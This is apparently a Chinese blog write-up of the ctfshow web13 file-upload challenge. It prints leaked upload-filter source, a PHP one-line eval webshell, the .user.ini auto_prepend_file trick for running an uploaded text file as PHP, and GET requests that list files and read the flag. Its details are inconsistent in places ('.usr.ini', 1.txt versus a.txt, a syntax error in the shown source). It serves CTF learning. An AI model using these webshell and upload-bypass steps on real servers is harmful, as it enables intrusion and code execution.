CTF web之旅 35

ctfshow web13 文件上传

试了好多文件名 都没有上传成功

没有突破点就扫一下目录  御剑扫出upload.php 加上.bak 尝试一下源码泄露

<?php 
    header("content-type:text/html;charset=utf-8");
    $filename = $_FILES['file']['name'];
    $temp_name = $_FILES['file']['tmp_name'];
    $size = $_FILES['file']['size'];
    $error = $_FILES['file']['error'];
    $arr = pathinfo($filename);
    $ext_suffix = $arr['extension'];
    if ($size > 24){
        die("error file zise");
    }
    if (strlen($filename)>9){
        die("error file name");
    }
    if(strlen($ext_suffix)>3){
        die("error suffix");
    }
    if(preg_match("/php/i",$ext_suffix)){
        die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
    if (move_uploaded_file($temp_name, './'.$filename)){
        echo "文件上传成功!";
    }else{
        echo "文件上传失败!";
    }

 ?>

文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,后缀和不包含后缀的文件名都不能包含php

上传1.txt 短标签一句话木马

<?=@eval($_POST['a']);?>或者是<?php eval($_POST['a']);

怎么让他当做php被解释执行呢 我考虑上传.htaccess文件 这是apache的配置文件如果里面包含

SetHandler application/x-httpd-php 设置当前所有目录都被当做php文件解析 无论上传任何文件 只要内容符合php规范 都会被当做php代码执行,不符合则报错
但是文件太大了 超过了字节限制 考虑上传.usr.ini 文件
里面是 auto_prepend_file =1.txt
auto_prepend_file 表示在加载第一个PHP代码之前先行预加载该配置所指示的PHP文件,在开发中不用每个php文件都要重复包含同一个文件
上传.usr.ini 文件后表示该目录下的所有文件都会包含a.txt的内容,
需要访问的是这个目录http://ada84ec3-0393-4766-b52a-e1b63f32a7e8.challenge.ctf.show:8080/upload.php
不是上传的马目录,和htaccess的原理需要区分
连接成功但是还是获取不到文件,应该是没有文件操作权限
上传get马
 ?a=print_r(scandir("."));
ada84ec3-0393-4766-b52a-e1b63f32a7e8.challenge.ctf.show:8080/upload.php?a=print_r(scandir("."));
ada84ec3-0393-4766-b52a-e1b63f32a7e8.challenge.ctf.show:8080/upload.php?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
 得到flag
 
 
总结:
先随便试了个.aabb这种根本不可能存在的后缀依然文件上传失败,考虑为白名单过滤
所以解题角度就要考虑为是上传配置文件问题
htaccess上传不成功就考虑.user.ini
最关键的就是要理解user.ini的配置原理,他是将所在目录的所有php文件都自动包含一个文件,并当做php执行

综上所述.user.ini的利用条件如下:

  1. 服务器脚本语言为PHP
  2. 服务器使用CGI/FastCGI模式
  3. 上传目录下要有可执行的php文件(本题的上传目录就有index.php可执行文件)
 

 

 
 

 

posted @ 2021-04-24 21:41  C10ud  阅读(49)  评论(0编辑  收藏  举报